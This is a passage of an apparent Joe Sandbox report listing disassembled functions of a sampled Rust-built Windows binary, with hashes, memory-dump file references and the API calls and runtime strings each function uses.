Instruction ID: 81e4106fb5a4b1885fe5a0638bbb326ebcb4b187fa2f6f1257378e7e22b78a74
Opcode Fuzzy Hash: 3ca95f9bf79cadee7fd56b3ebd1ac633b5562677c2c3978bd7e233aabedc9847
Instruction Fuzzy Hash: 645148A6E1C94566F7216B548400BF8E691FB19FD0FC89131ED0E0738ACE2D9B9F8751

Function 00007FF7177ABDE0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4aa9e4182f2e50364de2a15c1c1e0c896540baf561c3245e46b89c242035e23
Instruction ID: 2b62f7143cdde1f18b18880afd6017e39c732637e6c77efe2cc50240e575da4b
Opcode Fuzzy Hash: e4aa9e4182f2e50364de2a15c1c1e0c896540baf561c3245e46b89c242035e23
Instruction Fuzzy Hash: 05514B96E1C98552F7256B548400BB8E691FB5AFD1FC89131EE0E0338ACE1CAB9F8751

Function 00007FF71778F5F0 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d76be46d653f83ad5ef5210ff2a4a8b857c13a8c348d2b6131243123030b049b
Instruction ID: 9d816dc25863d4c17e5457ebeddc19325e715f0d49413c38886ee88259c5ddf6
Opcode Fuzzy Hash: d76be46d653f83ad5ef5210ff2a4a8b857c13a8c348d2b6131243123030b049b
Instruction Fuzzy Hash: 2C314652B2591643FF18913ACD167B481825B48BF4F849331EF3E87BE9ED3DA54B8210

Function 00007FF71778F440 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb85a316b1b28cddb3f2e513620ffe2f1ab2d54091b22ff193b08dd246418135
Instruction ID: 64a0b4f4beaf56603a636d5151e86841e237338836b88a5db349aa36418908d1
Opcode Fuzzy Hash: cb85a316b1b28cddb3f2e513620ffe2f1ab2d54091b22ff193b08dd246418135
Instruction Fuzzy Hash: 78314652B2492202FF69953ACD16F7480839B497F0F989331EE3E87BDAF97C954B4210

Function 00007FF7177147CD Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed65e59296508c711d2d57bcb9806421af3366e48e926b5ee8f2065e47daad7c
Instruction ID: bc41b88cdedcb5bdbf2acb262ac326b44c960fb0c4944c0529786a8aa63dd783
Opcode Fuzzy Hash: ed65e59296508c711d2d57bcb9806421af3366e48e926b5ee8f2065e47daad7c
Instruction Fuzzy Hash: 1341A5726082E55BD346676254145A9BFE2F7CE755F8AC130EF5007386DE3C7236AB10

Function 00007FF71776F960 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4b5aaaee95637960a634f8f5c0b021c11b7ab42145f193b07c717f66579e7b
Instruction ID: a211a5d39e5b8220a01a37f0f4457c2b4bb9d42ad06ddcd0d17e93f07d9e9c54
Opcode Fuzzy Hash: 2a4b5aaaee95637960a634f8f5c0b021c11b7ab42145f193b07c717f66579e7b
Instruction Fuzzy Hash: 251188F2E288A449FBA0833C6C01F34AC858B663BCF989774E579D09D7E61DE10B9250

Function 00007FF7177B5410 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba1ab6dce893516dd973d8d6062043ca2dc6b32030dabdcf669dbffad7919a8
Instruction ID: 8017f25341d65c17fa61bb92d533e19d0b67a793c2b5e9bf279576b00fabe1e8
Opcode Fuzzy Hash: aba1ab6dce893516dd973d8d6062043ca2dc6b32030dabdcf669dbffad7919a8
Instruction Fuzzy Hash: 990108B6B244E006DA80D73A48189797B93D7C67A27B4D360DA54C7689DA3E920FC360

Function 00007FF717779484 Relevance: 24.1, APIs: 8, Strings: 8, Instructions: 107COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF7177794EE
memcmp.MSVCRT ref: 00007FF717779508
memcmp.MSVCRT ref: 00007FF717779522
memcmp.MSVCRT ref: 00007FF71777953C
memcmp.MSVCRT ref: 00007FF717779556
memcmp.MSVCRT ref: 00007FF717779570
memcmp.MSVCRT ref: 00007FF71777958A
memcmp.MSVCRT ref: 00007FF7177795A4

Strings

wR11, xrefs: 00007FF717779493
wR13, xrefs: 00007FF7177794AB
wR15, xrefs: 00007FF7177794C3
wR12, xrefs: 00007FF71777949F
wR14, xrefs: 00007FF7177794B7
SPSR, xrefs: 00007FF7177794CF
wR10, xrefs: 00007FF717779487
ACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL0TPIDR_EL1TPIDR_EL2, xrefs: 00007FF7177794DB

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID: ACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL0TPIDR_EL1TPIDR_EL2$SPSR$wR10$wR11$wR12$wR13$wR14$wR15
API String ID: 1475443563-3862453883
Opcode ID: b1a7e97f954b030fc789617bde8c08a95522fe00320205b97ede5649c0ca8685
Instruction ID: d08cfa8c6db3cd2fc688a08ba1f2e8a87d6677acbacdf1e72e66ec32606f5ad2
Opcode Fuzzy Hash: b1a7e97f954b030fc789617bde8c08a95522fe00320205b97ede5649c0ca8685
Instruction Fuzzy Hash: 204171A5D0EA0285FA247A6664492BA96504F0DFE0FC44032CD0E5F6D3DE6CE84FDBB5

Function 00007FF71773A0C0 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 359COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF71773A235
GetUserProfileDirectoryW.USERENV ref: 00007FF71773A252
GetLastError.KERNEL32 ref: 00007FF71773A290
GetLastError.KERNEL32 ref: 00007FF71773A2AB

Part of subcall function 00007FF717739C40: SetLastError.KERNEL32 ref: 00007FF717739D6A
Part of subcall function 00007FF717739C40: GetEnvironmentVariableW.KERNEL32 ref: 00007FF717739D7C
Part of subcall function 00007FF717739C40: GetLastError.KERNEL32 ref: 00007FF717739D88
Part of subcall function 00007FF717739C40: GetLastError.KERNEL32 ref: 00007FF717739DA1

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71773A67A
HOMEUSERPROFILE\\.\pipe\__rust_anonymous_pipe1__., xrefs: 00007FF71773A0E8

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$DirectoryEnvironmentProfileUserVariable
String ID: HOMEUSERPROFILE\\.\pipe\__rust_anonymous_pipe1__.$called `Result::unwrap()` on an `Err` value
API String ID: 3506484248-3720404459
Opcode ID: d7c07abaf9e50158387b918093629f4ed8af412cfd5b6e1afa6d678d6fcc476a
Instruction ID: d63750bd7e3842ca022ec512e20b9ffc277daac179eb07ea34863e59f50f1eea
Opcode Fuzzy Hash: d7c07abaf9e50158387b918093629f4ed8af412cfd5b6e1afa6d678d6fcc476a
Instruction Fuzzy Hash: 54F19321E08EC245EB35BF6598053F9A365FB48BA8F854135EE5C5B78BDE2C934E8310

Function 00007FF717763F30 Relevance: 19.7, APIs: 9, Strings: 2, Instructions: 479COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7177640E5
GetFullPathNameW.KERNEL32 ref: 00007FF717764101
GetLastError.KERNEL32 ref: 00007FF71776410C
GetLastError.KERNEL32 ref: 00007FF717764125

Strings

\\?\UNC\, xrefs: 00007FF717764299
\\?\, xrefs: 00007FF717764247

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID: \\?\$\\?\UNC\
API String ID: 2482867836-3019864461
Opcode ID: 73eb49ad670d308b025b75e1072208b7c23a84e3b22a4fb25ef5d90388299586
Instruction ID: 7692727b6e64d0e64925e84583ac0c181be4c1bcd605c15834571d89e25dddf3
Opcode Fuzzy Hash: 73eb49ad670d308b025b75e1072208b7c23a84e3b22a4fb25ef5d90388299586
Instruction Fuzzy Hash: BE12D552A08E9145FB70AB1184043F9A696FB09BA4F94C135EE5D577CEDF3CE68E8320

Function 00007FF717739400 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 408COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7177394E9
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7177394F4
GetLastError.KERNEL32 ref: 00007FF717739500
GetLastError.KERNEL32 ref: 00007FF717739519
GetLastError.KERNEL32 ref: 00007FF7177395B7
GetEnvironmentStringsW.KERNEL32 ref: 00007FF71773965B
GetLastError.KERNEL32 ref: 00007FF71773966F

Part of subcall function 00007FF7177AD100: RtlCaptureContext.KERNEL32 ref: 00007FF7177AD192
Part of subcall function 00007FF7177AD100: RtlUnwindEx.KERNEL32 ref: 00007FF7177AD1CF
Part of subcall function 00007FF7177AD100: abort.MSVCRT ref: 00007FF7177AD1D5
Part of subcall function 00007FF7177AD100: RaiseException.KERNEL32 ref: 00007FF7177AD212

Strings

innerVarsOs, xrefs: 00007FF717739A5C
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF717739945, 00007FF71773998B
Vars, xrefs: 00007FF717739A2F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$CaptureContextCurrentDirectoryEnvironmentExceptionRaiseStringsUnwindabort
String ID: Vars$called `Result::unwrap()` on an `Err` value$innerVarsOs
API String ID: 1982851867-2235028769
Opcode ID: 81f0b5ad55a65d210555d28c0575d3fbac638c4c01551ab7b438c5771c1c0d3a
Instruction ID: c8e1bc88762e4118fac43fa925673e6920fc9667696142e9611af0cd22929c05
Opcode Fuzzy Hash: 81f0b5ad55a65d210555d28c0575d3fbac638c4c01551ab7b438c5771c1c0d3a
Instruction Fuzzy Hash: 20F1B322B09F9189FB20AF6198007F9A764BB497A8F844135DE5D17B8ADF3CD55EC310

Function 00007FF717725EA0 Relevance: 15.5, APIs: 8, Strings: 2, Instructions: 483COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF717725F2E
memcpy.MSVCRT ref: 00007FF717725F65
memcpy.MSVCRT ref: 00007FF71772642B
memcpy.MSVCRT ref: 00007FF71772649F
memcpy.MSVCRT ref: 00007FF7177264D7

Strings

assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF717726833
assertion failed: new_left_len <= CAPACITY, xrefs: 00007FF717726263

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY
API String ID: 3510742995-2079967719
Opcode ID: 857e78b8965fadb09579569978df2369435fc3f52ba0ba4689f9be7771eada54
Instruction ID: 3d082313b2f41e96c486940fd759e48fe10896a53bc581c123368a7fe878d92e
Opcode Fuzzy Hash: 857e78b8965fadb09579569978df2369435fc3f52ba0ba4689f9be7771eada54
Instruction Fuzzy Hash: 2642B132614FC185E721DF24E8403E973A8FB58B98F948236DE9D57B96DF34929AC310

Function 00007FF71775FBB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF71775FBCE
DuplicateHandle.KERNEL32 ref: 00007FF71775FBF8
GetCurrentProcess.KERNEL32 ref: 00007FF71775FD43
DuplicateHandle.KERNEL32 ref: 00007FF71775FD6D
GetLastError.KERNEL32 ref: 00007FF71775FD7C
CloseHandle.KERNEL32 ref: 00007FF71775FDB4

Strings

failed to spawn thread, xrefs: 00007FF7177600C0
cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs, xrefs: 00007FF7177600ED
RUST_MIN_STACK, xrefs: 00007FF71775FE15

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Handle$CurrentDuplicateProcess$CloseErrorLast
String ID: RUST_MIN_STACK$cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs$failed to spawn thread
API String ID: 120317985-141927316
Opcode ID: 33c01649a479cf9f13bc2aed1aa42619e88183e4b36295e1086b4b6008fb862b
Instruction ID: bbaa077582bc65a3d62e4bce2b5808e7b111166cab0de7601d3d3fe955cb24d8
Opcode Fuzzy Hash: 33c01649a479cf9f13bc2aed1aa42619e88183e4b36295e1086b4b6008fb862b
Instruction Fuzzy Hash: E4B14122A09E8185F751AB20D8013B9A7A0FB487A8FC54536EE8D47B97DF3CD55EC360

Function 00007FF71777D44B Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF71777D4EE
memcmp.MSVCRT ref: 00007FF71777D508
memcmp.MSVCRT ref: 00007FF71777D522
memcmp.MSVCRT ref: 00007FF71777D53C
memcmp.MSVCRT ref: 00007FF71777D556
memcmp.MSVCRT ref: 00007FF71777D570
memcmp.MSVCRT ref: 00007FF71777D58A
memcmp.MSVCRT ref: 00007FF71777D5A4

Strings

k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17vr18vr19vr20vr21vr22vr23vr24vr25vr26vr27vr28vr29vr30vr31vscrtfhartfiartexasrDW_SECT_IN, xrefs: 00007FF71777D4DB

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID: k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17vr18vr19vr20vr21vr22vr23vr24vr25vr26vr27vr28vr29vr30vr31vscrtfhartfiartexasrDW_SECT_IN
API String ID: 1475443563-2406371666
Opcode ID: 46757cf382599927a8d4a0aabcd9331590dbb94c894263678a18449331760e8c
Instruction ID: 0499a42f87b6f24b1896d7e31eae52c18b6f72c5356f37cc64677b5f32e06d5d
Opcode Fuzzy Hash: 46757cf382599927a8d4a0aabcd9331590dbb94c894263678a18449331760e8c
Instruction Fuzzy Hash: FD41B142E0CA4384F7203A15E5890B896528F18BA4FD45432DD4D8EADBEE5DF8CED271

Function 00007FF717765E00 Relevance: 12.7, APIs: 10, Instructions: 158COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF717765E50
TlsSetValue.KERNEL32 ref: 00007FF717765E63
TlsGetValue.KERNEL32 ref: 00007FF717765EB0
TlsSetValue.KERNEL32 ref: 00007FF717765EC3
TlsGetValue.KERNEL32 ref: 00007FF717765F10
TlsSetValue.KERNEL32 ref: 00007FF717765F23
TlsGetValue.KERNEL32 ref: 00007FF717765F60
TlsSetValue.KERNEL32 ref: 00007FF717765F73
TlsGetValue.KERNEL32 ref: 00007FF717765FBC
TlsSetValue.KERNEL32 ref: 00007FF717765FCD

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1de102185da3bb913713fa39b87b29e93cb6e956dc5f28ed214f9f23d1630ec3
Instruction ID: b2f45d134bb5d579e353ecd42736c131fcaf1b634feb8430d086a0bf1505c20b
Opcode Fuzzy Hash: 1de102185da3bb913713fa39b87b29e93cb6e956dc5f28ed214f9f23d1630ec3
Instruction Fuzzy Hash: A1514C31F0AE5256FA557B1282002B8D792AF59FA0FECC035ED0D1778BDE28B85F5260

Function 00007FF71774E7A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF717739400: SetLastError.KERNEL32 ref: 00007FF7177394E9
Part of subcall function 00007FF717739400: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7177394F4
Part of subcall function 00007FF717739400: GetLastError.KERNEL32 ref: 00007FF717739500
Part of subcall function 00007FF717739400: GetLastError.KERNEL32 ref: 00007FF717739519

memset.MSVCRT ref: 00007FF71774E8BD
RtlCaptureContext.KERNEL32(?), ref: 00007FF71774E8C5
RtlLookupFunctionEntry.KERNEL32(?), ref: 00007FF71774E8E9

Strings

note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 00007FF71774EB64
stack backtrace:, xrefs: 00007FF71774E837

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
